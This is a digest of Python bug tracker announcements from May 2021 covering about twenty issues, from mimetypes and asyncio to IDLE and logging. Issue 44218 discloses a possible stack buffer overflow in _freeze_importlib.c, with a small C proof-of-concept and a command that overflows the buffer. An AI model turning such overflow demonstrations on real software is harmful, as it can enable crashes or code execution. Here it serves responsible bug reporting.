severity: normal
status: open
title: Make importlib.metadata._meta.PackageMetadata public
type: enhancement
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44210>
_______________________________________

From report at bugs.python.org  Fri May 21 17:13:08 2021
From: report at bugs.python.org (Andreas Jansson)
Date: Fri, 21 May 2021 21:13:08 +0000
Subject: [New-bugs-announce] [issue44211] Duplicate '.bmp' key in
 mimetypes.py, maps to both 'image/bmp' and 'image/x-ms-bmp'
Message-ID: <1621631588.17.0.285799007956.issue44211@roundup.psfhosted.org>


New submission from Andreas Jansson <andreas.s.t.jansson at gmail.com>:

The mime type of .bmp was changed from image/x-ms-bmp in https://github.com/python/cpython/pull/4756.

https://github.com/python/cpython/pull/3062 then re-introduced image/x-ms-bmp while keeping the newer image/bmp mapping.

----------
components: Library (Lib)
messages: 394157
nosy: andreasjansson
priority: normal
severity: normal
status: open
title: Duplicate '.bmp' key in mimetypes.py, maps to both 'image/bmp' and 'image/x-ms-bmp'
type: behavior
versions: Python 3.10, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44211>
_______________________________________

From report at bugs.python.org  Fri May 21 23:09:03 2021
From: report at bugs.python.org (Francisco Demartino)
Date: Sat, 22 May 2021 03:09:03 +0000
Subject: [New-bugs-announce] [issue44212] asyncio overrides signal handlers
Message-ID: <1621652943.28.0.466235742077.issue44212@roundup.psfhosted.org>


New submission from Francisco Demartino <demartino.francisco at gmail.com>:

Hello,

It looks like when asyncio sets up a signal handler, it forgets about the previous one (if any).

Here's a patch (was about to create a PR but the default text brought me to bugs.python.org)
https://github.com/franciscod/cpython/commit/bdac885b86fbb01d0d775f40c47870e48af5fa5b

Tracked this down to the initial asyncio checkout, in commit 27b7c7ebf1039e96cac41b6330cf16b5632d9e49, a few commits before v3.4.0a4.

Not sure if this is a bug but it surprised me. I would have expected that it registered an "additional" signal handler, or at least that my previously installed signal handler would be called afterwards.

Also I'm not sure that it's a good idea to suddenly start running handlers that some current code might rely on not running, or have worked around this behaviour otherwise.

Thanks,
Francisco

----------
components: asyncio
messages: 394174
nosy: Francisco Demartino, asvetlov, yselivanov
priority: normal
severity: normal
status: open
title: asyncio overrides signal handlers
type: behavior
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44212>
_______________________________________

From report at bugs.python.org  Sat May 22 00:59:43 2021
From: report at bugs.python.org (glubs9)
Date: Sat, 22 May 2021 04:59:43 +0000
Subject: [New-bugs-announce] [issue44213] LIST_TO_TUPLE placed below the
 sentence "all of the following use their opcodes" in dis library
 documentaiton.
Message-ID: <1621659583.31.0.989908134751.issue44213@roundup.psfhosted.org>


New submission from glubs9 <jonte.fry at gmail.com>:

in the dis library documentation where it lists all of the instructions in python bytecode, it includes a small sentence about half way dow "all of the following instructions use their arguments".

After this sentence there is an instruction specified LIST_TO_TUPLE which does not in fact use its argument.

It's a minor mistake but 100% on how it should be fixed so I have not yet made a pr. It could be fixed by removing the sentence or just moving it above the sentence. I'm not sure.

----------
assignee: docs at python
components: Documentation
messages: 394178
nosy: docs at python, glubs9
priority: normal
severity: normal
status: open
title: LIST_TO_TUPLE placed below the sentence "all of the following use their opcodes" in dis library documentaiton.
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44213>
_______________________________________

From report at bugs.python.org  Sun May 23 06:14:52 2021
From: report at bugs.python.org (Ronald Oussoren)
Date: Sun, 23 May 2021 10:14:52 +0000
Subject: [New-bugs-announce] [issue44214] PyArg_Parse* for vectorcall?
Message-ID: <1621764892.64.0.828165785402.issue44214@roundup.psfhosted.org>


New submission from Ronald Oussoren <ronaldoussoren at mac.com>:

I'm currently converting some extensions of my own to vectorcall and an annoying change between the old call protocol and vectorcall is that the latter has no public equivalent to the PyArg_Parse family of functions.

There is "_PyArg_ParseStack*" in the CPython implementation, but those functions are not part of the public API.

Please consider making "_PyArg_ParseStack" public.

----------
components: C API
messages: 394194
nosy: ronaldoussoren
priority: normal
severity: normal
status: open
title: PyArg_Parse* for vectorcall?
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44214>
_______________________________________

From report at bugs.python.org  Sun May 23 08:18:27 2021
From: report at bugs.python.org (Stefano Rivera)
Date: Sun, 23 May 2021 12:18:27 +0000
Subject: [New-bugs-announce] [issue44215] help() module listing displays
 import warnings from deprecated package modules
Message-ID: <1621772307.07.0.00812443374733.issue44215@roundup.psfhosted.org>


New submission from Stefano Rivera <python at rivera.za.net>:

Originally reported against pypy3 in Ubuntu
https://bugs.launchpad.net/ubuntu/+source/pypy3/+bug/1920675

$ ./python 
Python 3.10.0a5+ (heads/master:ffa55d21b4, May 23 2021, 08:14:50) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path.append('/usr/lib/python3/dist-packages/')
>>> help()
...
help> modules

Please wait a moment while I gather a list of all available modules...

/usr/lib/python3/dist-packages/IPython/kernel/__init__.py:12: ShimWarning: The `IPython.kernel` package has been deprecated since IPython 4.0.You should import from ipykernel or jupyter_client instead.
  warn("The `IPython.kernel` package has been deprecated since IPython 4.0."
Expected Tk Togl installation in /usr/lib/python3/dist-packages/OpenGL/Tk/togl-linux-64
Failure loading Togl package: can't find package Togl, on debian systems this is provided by `libtogl2`
...
Crypto              brain_crypt         hgext               random
...

Warnings should probably be suppressed during module importing in help. Any warnings emitted here are probably deprecation warnings or system configuration issues, not useful to a user trying to browse modules.

----------
assignee: docs at python
components: Documentation, Library (Lib)
messages: 394196
nosy: docs at python, stefanor
priority: normal
severity: normal
status: open
title: help() module listing displays import warnings from deprecated package modules
type: behavior
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44215>
_______________________________________

From report at bugs.python.org  Sun May 23 10:39:05 2021
From: report at bugs.python.org (Ashish Shevale)
Date: Sun, 23 May 2021 14:39:05 +0000
Subject: [New-bugs-announce] [issue44216] Bug in class method with optional
 parameter
Message-ID: <1621780745.47.0.719143044466.issue44216@roundup.psfhosted.org>


New submission from Ashish Shevale <shevaleashish at gmail.com>:

Consider the following piece of code

class MyClass:
    def do_something(self, a, b = []):
        b.append(a)
        print("b contains", b)
    def caller(self):
        a = (1,2)
        self.do_something(a)

a = MyClass().caller()
a = MyClass().caller()
a = MyClass().caller()

For this, the expected output would be

b contains [(1, 2)]
b contains [(1, 2)]
b contains [(1, 2)]

But actually comes out to be 

b contains [(1, 2)]
b contains [(1, 2), (1, 2)]
b contains [(1, 2), (1, 2), (1, 2)]

This only happens if in the do_something method, we append 'a' directly to 'b'. Instead, if we create a copy of parameter 'b', and append 'a' to the copy, there are no such side effects

----------
messages: 394199
nosy: shevaleashish
priority: normal
severity: normal
status: open
title: Bug in class method with optional parameter
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44216>
_______________________________________

From report at bugs.python.org  Sun May 23 11:36:23 2021
From: report at bugs.python.org (Shreyan Avigyan)
Date: Sun, 23 May 2021 15:36:23 +0000
Subject: [New-bugs-announce] [issue44217] [IDLE] Weird behaviour in IDLE
 while dealing with non-ASCII characters
Message-ID: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org>


New submission from Shreyan Avigyan <shreyan.avigyan at gmail.com>:

In IDLE, suppose I want to print ?. I can write it like, print(b'\xf0\x9f\x98\x80'.decode()). I can't print it in console so I tried it in IDLE. It worked. Hurray! Hold on though. Now I thought how can I print ? directly. So I used the command 'print("?")' in IDLE and I saw a weird behavior. Actually to be accurate, many weird behaviors!

1. If I type in 'print(?))' and I want to delete the extra ')' but it just stuck. I can't backspace or delete anything I've typed but I can type more.

2. If we move our cursor (typing cursor, not the flying one) over the output using arrow keys we would see that the characters are moving and occasionally dancing.

3. (Here comes the laughing part) If we type in 'print(?)' and then move our typing cursor just between the emoji and the ')' and start typing we would see we're typing in the opposite way. So if we move our cursor and intend to type 'hello' we would actually end up typing 'olleh'.

I'm not sure but these look like bugs to me.

----------
assignee: terry.reedy
components: IDLE
messages: 394201
nosy: shreyanavigyan, terry.reedy
priority: normal
severity: normal
status: open
title: [IDLE] Weird behaviour in IDLE while dealing with non-ASCII characters
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44217>
_______________________________________

From report at bugs.python.org  Sun May 23 11:47:04 2021
From: report at bugs.python.org (Mohammed Dief)
Date: Sun, 23 May 2021 15:47:04 +0000
Subject: [New-bugs-announce] [issue44218] Possible Stack Based Buffer
 Overflow at Programs/_freeze_importlib.c
Message-ID: <1621784824.73.0.711362267211.issue44218@roundup.psfhosted.org>


New submission from Mohammed Dief <mdaif1332 at gmail.com>:

When you open Programs/_freeze_importlib.c code, you will get the main function that gets executed when the C binary is running. That proves the first point that that's the function that is gonna be used when this code is getting built or used on other functions. at the first variables define lines you will find that there's a variable called: `buf` with memory limit of 100 bytes: https://github.com/python/cpython/blob/bb3e0c240bc60fe08d332ff5955d54197f79751c/Programs/_freeze_importlib.c#L37

If you continue tracking the `buf` variable usage, you will get that the first function it's used in is `sprintf` at: https://github.com/python/cpython/blob/bb3e0c240bc60fe08d332ff5955d54197f79751c/Programs/_freeze_importlib.c#L102 and as we all know, sprintf isn't a memory secure function on C. and when the memory size isn't validated then BOFs can happen in this case.

The sprintf function is using a variable called: `name` to store it's value to the buf variable, in this case the name variable is a constant variable that is defined as char with *name. then on https://github.com/python/cpython/blob/bb3e0c240bc60fe08d332ff5955d54197f79751c/Programs/_freeze_importlib.c#L51 the name variable value is set based on the first argument of the program.

That means, running a program with 96 'A' characters on the first argument can exceed the 100 bytes on the memory limit causing possible arbitrary code execution and DOS on the binary.
Once again, it's just a code review process. I dunno where the code is running but if you think this issue is invalid i would like to know where the code is running so I can dig deeper over there.

Here's some code tests that proves my point here too:
main.c:

#include<stdlib.h>
#include<stdio.h>

int main(int argc, char *argv[]){
    int i;
    const char *name;
    char buf[100];

    for(i=1; i < argc; i++) {
        name = argv[i];
        sprintf(buf, "<frozen %s>", name);
        puts(buf);
    }

    return 0;
}

shell:
gcc main.c -o main
./main $(python3 -c "print('A'*100)")

This issue was reported to PSRT, and they said the code is an internal tool that's used by developers not end-users. and asked me to open an issue here.

----------
components: Library (Lib)
messages: 394203
nosy: demonia
priority: normal
severity: normal
status: open
title: Possible Stack Based Buffer Overflow at Programs/_freeze_importlib.c
type: security
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44218>
_______________________________________

From report at bugs.python.org  Sun May 23 13:18:13 2021
From: report at bugs.python.org (Matthias Urlichs)
Date: Sun, 23 May 2021 17:18:13 +0000
Subject: [New-bugs-announce] [issue44219] Opening a file holds the GIL when
 it calls "isatty()"
Message-ID: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>


New submission from Matthias Urlichs <matthias at urlichs.de>:

Opening a file calls `isatty` which calls an ioctl with the GIL held.

GDB:
```
#0  __GI___tcgetattr (fd=18, termios_p=termios_p at entry=0x7f618a5df920)
    at ../sysdeps/unix/sysv/linux/tcgetattr.c:38
#1  0x00007f618bd1ca0c in __isatty (fd=<optimized out>) at ../sysdeps/posix/isatty.c:27
#2  0x000000000062b746 in _Py_device_encoding (fd=<optimized out>) at ../Python/fileutils.c:62
#3  0x000000000060bf90 in _io_TextIOWrapper___init___impl (write_through=0, line_buffering=0, 
    newline=0x0, errors='strict', encoding=<optimized out>, 
    buffer=<_io.BufferedWriter at remote 0x7f618986aeb0>, self=0x7f618985a860)
    at ../Modules/_io/textio.c:1149
...
```

Please don't do that.

In my case, the file in question is implemented as a FUSE mount which is served by the same process (different thread of course). Thus holding the GIL at this point causes a rather interesting deadlock.

Tested with 3.9.

----------
components: Interpreter Core
messages: 394208
nosy: smurfix
priority: normal
severity: normal
status: open
title: Opening a file holds the GIL when it calls "isatty()"
type: crash
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44219>
_______________________________________

From report at bugs.python.org  Sun May 23 19:40:00 2021
From: report at bugs.python.org (John Nelson)
Date: Sun, 23 May 2021 23:40:00 +0000
Subject: [New-bugs-announce] [issue44220] PyStructSequence_UnnamedField
 unavailable on Windows
Message-ID: <1621813200.62.0.269776219006.issue44220@roundup.psfhosted.org>


New submission from John Nelson <john at jnelson.ca>:

The symbol "PyStructSequence_UnnnamedField" is not *explicitly* marked for export, causing it to be omitted from python3x.dll on Windows -- and thus unavailable to Windows extension modules.

Attempting to use this symbol then fails at link time:
  test.obj : error LNK2001: unresolved external symbol PyStructSequence_UnnamedField
  build\lib.win-amd64-3.7\test.cp39-win_amd64.pyd : fatal error LNK1120: 1 unresolved externals

The fact that the symbol is missing can also be demonstrated via ctypes:
  import ctypes
  from pathlib import Path
  import sys

  python_dll = ctypes.CDLL(str(Path(sys.executable).parent / 'python3.dll'))

  # These don't raise at all
  python_dll.PyTuple_Type
  python_dll.PyStructSequence_New

  # Raises AttributeError
  python_dll.PyStructSequence_UnnamedField

----------
components: Interpreter Core, Windows
messages: 394226
nosy: johnboy2, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: PyStructSequence_UnnamedField unavailable on Windows
type: behavior
versions: Python 3.7, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44220>
_______________________________________

From report at bugs.python.org  Sun May 23 20:18:57 2021
From: report at bugs.python.org (Luiz Antonio Lazoti)
Date: Mon, 24 May 2021 00:18:57 +0000
Subject: [New-bugs-announce] [issue44221] ImportError: sys.meta_path is None,
 Python is likely shutting down
Message-ID: <1621815537.06.0.915921602571.issue44221@roundup.psfhosted.org>


New submission from Luiz Antonio Lazoti <luizlazoti at hotmail.com>:

hi,

In certain situations I get this error, I believe it is related to evdev, select or inotify in line 715.


ImportError: sys.meta_path is None, Python is likely shutting down

----------
components: asyncio
files: events.py
messages: 394228
nosy: asvetlov, luizoti, yselivanov
priority: normal
pull_requests: 24917
severity: normal
status: open
title: ImportError: sys.meta_path is None, Python is likely shutting down
type: crash
versions: Python 3.8
Added file: https://bugs.python.org/file50059/events.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44221>
_______________________________________

From report at bugs.python.org  Sun May 23 21:12:25 2021
From: report at bugs.python.org (Yonatan Goldschmidt)
Date: Mon, 24 May 2021 01:12:25 +0000
Subject: [New-bugs-announce] [issue44222] Improving _removeHandlerRef for a
 very long _handlerList
Message-ID: <1621818745.43.0.712595663988.issue44222@roundup.psfhosted.org>


New submission from Yonatan Goldschmidt <yon.goldschmidt at gmail.com>:

We have an application which creates 10,000s of logging.Logger & logging.Handler objects. I encountered a major slowdown during GCs which happen to collect dead Handler objects, calling logging._removeHandlerRef() along the way.
That function looks like:

    def _removeHandlerRef(wr):
        acquire, release, handlers = _acquireLock, _releaseLock, _handlerList
        if acquire and release and handlers:
            acquire()
            try:
                if wr in handlers:
                    handlers.remove(wr)
            finally:
                release()

and is called by a weakref, attached to each Handler created in _addHandlerRef().

The slowdown occurs in the "in" operator, and the remove() call. These operations on very long lists are expensive. My suggestion is that, without modifying the observed behavior of this function, it can be changed to perform only one lookup in the list, by simply calling remove() and ignoring the ValueError if it gets raised.

Attached is a small script which demonstrates the issue. It creates N1 Handler objects, then deletes the strong reference to the last N2 handler objects, and triggers a GC, measuring the time it takes. Additionally, we can measure its entire execution (since all remaining Handler objects are cleaned up on exit, and eventually _removeHandlerRef() is called for each, and it drastically slows down the interpreter shutdown).

Running the demo with N1=30k and N2=2k:

    root at 8aafe9d1308b:/# python -V
    Python 3.9.2
    root at 8aafe9d1308b:/# time python demo.py 30000 2000
    len(logging._handlerList)=30001
    len(logging._handlerList)=28001
    gc.collect() took 1.552838139992673s

    real    0m12.626s
    user    0m12.618s
    sys 0m0.008s

then applying the improving patch...

    root at 8aafe9d1308b:/# (cd /usr/local/lib/python3.9/ && patch -p2 < /patch )
    patching file logging/__init__.py
    Hunk #1 succeeded at 826 (offset -19 lines).

and trying again:

    root at 8aafe9d1308b:/# time python demo.py 30000 2000
    len(logging._handlerList)=30001
    len(logging._handlerList)=28001
    gc.collect() took 0.8691686679958366s

    real    0m7.134s
    user    0m7.130s
    sys 0m0.004s
    root at 8aafe9d1308b:/#

Almost a 2x speedup.

I also tried removing the acquire/release locks (now that the remove operation is atomic...). I'm not sure it maintains the semantics, and it didn't make too much of a positive effect on the run-time anyway, so I didn't continue looking into it.

----------
components: Library (Lib)
files: demo.py
messages: 394229
nosy: Yonatan Goldschmidt
priority: normal
severity: normal
status: open
title: Improving _removeHandlerRef for a very long _handlerList
type: performance
versions: Python 3.11
Added file: https://bugs.python.org/file50060/demo.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44222>
_______________________________________

From report at bugs.python.org  Mon May 24 03:11:46 2021
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=)
Date: Mon, 24 May 2021 07:11:46 +0000
Subject: [New-bugs-announce] [issue44223] := in comprehensions does not work
Message-ID: <1621840306.63.0.617436404209.issue44223@roundup.psfhosted.org>


New submission from ???? ????????? <socketpair at gmail.com>:

[
    xxx
    for item in collection
    if xxx := mutator(item) is not None
]

----------
components: Interpreter Core, Parser
messages: 394233
nosy: lys.nikolaou, pablogsal, socketpair
priority: normal
severity: normal
status: open
title: := in comprehensions does not work
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44223>
_______________________________________

From report at bugs.python.org  Mon May 24 06:05:10 2021
From: report at bugs.python.org (rushter)
Date: Mon, 24 May 2021 10:05:10 +0000
Subject: [New-bugs-announce] [issue44224] urllib.parse.urljoin behaves
 differently in Python 3.9.5
Message-ID: <1621850710.44.0.0440015163726.issue44224@roundup.psfhosted.org>


New submission from rushter <me at rushter.com>:

Since Python 3.9.5, `urllib.parse.urljoin` now strips newlines from the destination URL.

I think this should be at least mentioned in the `/Misc/NEWS.d`.

Python 3.8.10:

>>> urllib.parse.urljoin('http://a.ru', '\nsome/location')
'http://a.ru/\nsome/location'


Python 3.9.5:

>>> urllib.parse.urljoin('http://a.ru', '\nsome/location')
'http://a.ru/some/location'


We had an extra check for newlines in our Python codebase and our test started to fail.

----------
messages: 394243
nosy: rushter
priority: normal
severity: normal
status: open
title: urllib.parse.urljoin behaves differently in Python 3.9.5
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44224>
_______________________________________

From report at bugs.python.org  Mon May 24 09:55:00 2021
From: report at bugs.python.org (Erik Carstensen)
Date: Mon, 24 May 2021 13:55:00 +0000
Subject: [New-bugs-announce] [issue44225] stop() on a stopped loop inhibits
 the next run_forever
Message-ID: <1621864500.68.0.698974665146.issue44225@roundup.psfhosted.org>


New submission from Erik Carstensen <mandolaerik at gmail.com>:

If you call stop() on an already stopped event loop, then the next call to run_forever will terminate after one loop iteration. I would expect the stop to either be a nop, or to be invalid in this state (and raise an exception).

Example:

import asyncio
async def coro(x):
    print(x)
    if x < 10:
        asyncio.create_task(coro(x+1))
loop = asyncio.get_event_loop()
loop.create_task(coro(0))
loop.stop()
loop.run_forever()

----------
components: asyncio
messages: 394250
nosy: asvetlov, mandolaerik, yselivanov
priority: normal
severity: normal
status: open
title: stop() on a stopped loop inhibits the next run_forever
type: behavior
versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44225>
_______________________________________

From report at bugs.python.org  Mon May 24 14:55:16 2021
From: report at bugs.python.org (Muralidhar BN)
Date: Mon, 24 May 2021 18:55:16 +0000
Subject: [New-bugs-announce] [issue44226] Threads shutting down in Py 2.7
 but not in Py 3.69 while making SSH connection using Paramiko module
Message-ID: <1621882516.37.0.78116563301.issue44226@roundup.psfhosted.org>


New submission from Muralidhar BN <muralidhar.bn at gmail.com>:

Threads shutting down in Py 2.7 but not in Py 3.69 while making SSH connection using Paramiko module

Executing code qa-test-execute.py in Py 2.7 (Ubuntu 14.04.6 LTS)

Command 1 :
sudo python ./qa-test-execute.py

Output 1 :
2021-05-24 23:35:59,889[BaseCommandLine __init__ 139916740505872][DEBUG]: Attempt to close ssh-session within 10.0 seconds.
Exception AssertionError: 'attempt to release recursive lock not owned by thread' in <bound method BaseCommandLine1.__del__ of <__main__.BaseCommandLine1 object at 0x7f40e79db110>> ignored

Command 2 :

sudo python ./qa-test-execute.py 2>&1 | tee 24052021_py27_execute_1.log

Output 2 :
2021-05-24 23:50:16,303[BaseCommandLine __init__ 139863250567440][DEBUG]: Attempt to close ssh-session within 10.0 seconds.
Exception AssertionError: 'attempt to release recursive lock not owned by thread' in <bound method BaseCommandLine1.__del__ of <__main__.BaseCommandLine1 object at 0x7f34735e0110>> ignored


Executing code qa-test-execute.py in Py 3.69 (Ubuntu 18.04.5 LTS)

Command 1 :
sudo python ./qa-test-execute.py

Output 1 :
2021-05-24 23:53:49,293[BaseCommandLine __init__ 139973197423840][DEBUG]: Attempt to close ssh-session within 10.0 seconds.
2021-05-24 23:53:49,293[BaseCommandLine __init__ 139973197423840][DEBUG]: Closing internal ssh-client.
Fatal Python error: could not acquire lock for <_io.BufferedWriter name='<stdout>'> at interpreter shutdown, possibly due to daemon threads

Command 2 :
sudo python3 ./qa-test-execute.py 2>&1 | tee launcher_gt20907_24052021_execute_py369_1.log

Output 2 : Terminal hangs & CTRL C to return prompt

2021-05-24 23:56:31,646[BaseCommandLine __init__ 140516619855072][DEBUG]: Attempt to close ssh-session within 10.0 seconds.
2021-05-24 23:56:31,646[BaseCommandLine __init__ 140516619855072][DEBUG]: Closing internal ssh-client.
^C


Behaviour of same code is different when executed in Py 2.7 & Py 3.69. 

Threads not terminating normally conflicting with paramiko / logging module  


qa-test-execute.py
#!/usr/bin/env python3

import sys
import traceback
import logging
import logging.config
import time
import threading
import multiprocessing
import paramiko
########################################################################


def lock_acquire_with_timeout1(lock, timeout_seconds):
    """
    Try to acquire lock without specified timeout
    @param lock: threading lock to be acquired
    @type lock: threading.Lock
    @param timeout_seconds: maximal time to make lock acquire attempts
    @type timeout_seconds: float
    """
    begin_time = time.time()
    while time.time() - begin_time < timeout_seconds:
        if lambda: lock.acquire(False):
            return True
        else:
            time.sleep(1.0)
    return None


def call_with_timeout1(method_to_call, timeout_seconds):
    """
    Good for potentially "freeze" methods calls. Executes passed method in
    separate thread. Waits for control returns within timeout. If timeout
    exceed - return control to callee thread. Separate execution thread will
    still be active.

    @param method_to_call: method te be called
    @type method_to_call: function
    @param timeout_seconds: maximal time to wait for method call finished
    @type timeout_seconds: float
    """
    stop_thread = threading.Barrier(2)
    thread_name = threading._newname("{}-%d".format(__name__))
    call_thread = threading.Thread(target=method_to_call, name=thread_name)
    call_thread.daemon = True 
    call_thread.start()
    print ("threading.activeCount() : %s",threading.activeCount())
    print ("threading.currentThread() : %s", threading.currentThread())
    print ("threading.enumerate() : %s", threading.enumerate() )
    call_thread.join(timeout=timeout_seconds)
    if call_thread.is_alive():
        stop_thread.abort()
    return not call_thread.is_alive()


def format_all_threads_stacks1():
    """
    @return: formatted stacks for all running threads.
    """
    stacktraces = []
    for thread_id, stack in list(dict(list(sys._current_frames().items())).items()):
        for thread1 in threading.enumerate():
            if thread1.ident == thread_id:
                stacktraces.append('Thread %s (daemon=%r) stacktrace: \n%s' %
                                   (thread1.name, thread1.daemon, ''.join(traceback.format_stack(stack))))
            else:
                thread = None
    return '\n'.join(stacktraces)


class SSHClient_noauth1(paramiko.SSHClient):

    def _auth(self, username, *args):
        self._transport.auth_none(username)
        return

class BaseCommandLine1(object):

    def __init__(self, connection_timeout=None):
        self._connection_timeout = connection_timeout
        self._connection_lock = multiprocessing.RLock()

        self._ssh_client = None
        self.logger = logging.getLogger('BaseCommandLine __init__ {}'.format(id(self)))
        self.reset_connection1()

    def __del__(self):
        self.close1() 

    def _wait_for_connection1(self):
        begin_time = time.time()
        self.logger.debug("Will attempt to connect with device for %s seconds." % self._connection_timeout)
        while time.time() - begin_time < self._connection_timeout:
            try:
                self._connect_ssh1()
                self._ssh_client.get_transport().set_keepalive(5)
                self.logger.debug('BaseCommandLine1 new SSH connection with {}:{} established.'.
                                  format("10.221.42.29", "22"))
                break
            except Exception as e:
                self.logger.debug('BaseCommandLine1 SSH-connection failed after %d seconds passed with exception: %s' %
                                  (time.time() - begin_time, e))
                self.logger.debug('BaseCommandLine1 Next attempt after {} seconds.'.format(5.0))
                time.sleep(5.0)
        else:
            self.logger.debug('BaseCommandLine1 Failed to connect to {}:{} within {} seconds: {}'.format(
                "10.221.42.29","22",self._connection_timeout,traceback.format_exc()))

    def reset_connection1(self):
        with self._connection_lock:
            self.close1()
            self.logger.debug('reset connection begin.')
            self._wait_for_connection1()

    def close1(self):
        if not self._ssh_client:
            return
        close_timeout = 10.0
        begin_time = time.time()
        self.logger.debug("Attempt to close ssh-session within %s seconds." % close_timeout)
        if lock_acquire_with_timeout1(self._connection_lock, close_timeout):
            try:
                if call_with_timeout1(self.__nonblocking_close1, timeout_seconds=close_timeout):
                    self.logger.debug("Successfully closed SSHClient within %d seconds." % (time.time() - begin_time))
                else:
                    self.logger.warning("Failed to close SSHClient within %d seconds." % close_timeout)
                    self.logger.warning("All threads state:\n%s" % format_all_threads_stacks1())
            finally:
                self._connection_lock.release()
        else:
            self.logger.warning("Failed to acquire lock within %s timeout." % close_timeout)
        self._ssh_client = None

    def __nonblocking_close1(self):
        """
        Non-blocking call to close SSH connection. May freeze on internal SSHClient.close().
        """
        self.logger.debug("Closing internal ssh-client.")
        if self._ssh_client:
            self._ssh_client.close1()
        self.logger.debug("Internal ssh-client closed.")
        self._ssh_client = None

    def _connect_ssh1(self, key_filename=None):
        client = SSHClient_noauth1()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            # try using specified password first
            self.logger.debug("BaseCommandLine1 _connect_ssh1 - try using specified password first")
            client.connect("10.221.42.29", port="22", username="root", password="", timeout=60.0,
                           banner_timeout=60.0, key_filename=None, allow_agent=False)
        except paramiko.AuthenticationException as e:
            # in case of authentication error try to connect without password
            self.logger.debug("BaseCommandLine1_connect_ssh1 - in case of authentication error try to connect without password : %s" % str(e))

        self._ssh_client = client
        return client


def config_logging():
    formatter = logging.Formatter("%(asctime)s[%(name)s]"
                                  "[%(levelname)s]: %(message)s")
    console_logger = logging.StreamHandler(sys.stdout)
    console_logger.setFormatter(formatter)

    root_logger = logging.getLogger()
    root_logger.setLevel(logging.DEBUG)
    root_logger.addHandler(logging.NullHandler())

    paramiko_logger = logging.getLogger('paramiko')
    paramiko_logger.setLevel(logging.CRITICAL)
    paramiko_logger.addHandler(console_logger)

    console_logger.setLevel(logging.DEBUG)
    root_logger.addHandler(console_logger)


def main(argv):
    config_logging()
    try:
        result = BaseCommandLine1(300)
    except Exception:
        logging.debug("Exception from BaseCommandLine1")
    logging.debug("Show all threads status before exit attempt:\n %s", format_all_threads_stacks1())

if __name__ == "__main__":
    main(sys.argv)

----------
components: Interpreter Core
messages: 394264
nosy: muralidhar.bn
priority: normal
severity: normal
status: open
title: Threads shutting down in Py 2.7 but not in Py 3.69 while making SSH connection using Paramiko module
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44226>
_______________________________________

From report at bugs.python.org  Mon May 24 21:07:38 2021
From: report at bugs.python.org (Mallika Bachan)
Date: Tue, 25 May 2021 01:07:38 +0000
Subject: [New-bugs-announce] [issue44227] help(bisect.bisect_left)
Message-ID: <1621904858.62.0.585664963614.issue44227@roundup.psfhosted.org>


New submission from Mallika Bachan <mallika.bachan at gmail.com>:

Documentation issue.

help(bisect.bisect_left)
says: "... if x already appears in the list, i points just before the leftmost x already there."
but in fact, it actually points *to* the leftmost x already there

----------
messages: 394280
nosy: mallika.bachan
priority: normal
severity: normal
status: open
title: help(bisect.bisect_left)
type: behavior
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44227>
_______________________________________

From report at bugs.python.org  Mon May 24 21:42:38 2021
From: report at bugs.python.org (Swee Tat Lim)
Date: Tue, 25 May 2021 01:42:38 +0000
Subject: [New-bugs-announce] [issue44228] [urllib] Error with handling of
 urllib.parse.quote. Terminates halfway
Message-ID: <1621906958.14.0.440306929159.issue44228@roundup.psfhosted.org>


New submission from Swee Tat Lim <sweetat at withevo.com>:

Running this

python3 -c "import urllib.parse; print (urllib.parse.quote('ab$cd&efg#hij$klm'))"

Results:
ab%26efg%23hij

Expected Result:
ab%26efg%23hij%26klm

Not sure why it terminated midway

----------
components: Library (Lib)
messages: 394284
nosy: sweetat
priority: normal
severity: normal
status: open
title: [urllib] Error with handling of urllib.parse.quote.  Terminates halfway
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44228>
_______________________________________

From report at bugs.python.org  Tue May 25 03:24:56 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Tue, 25 May 2021 07:24:56 +0000
Subject: [New-bugs-announce] [issue44229] test_get_server_certificate fails
 on macOS
Message-ID: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org>


New submission from Erlend E. Aasland <erlend.aasland at innova.no>:

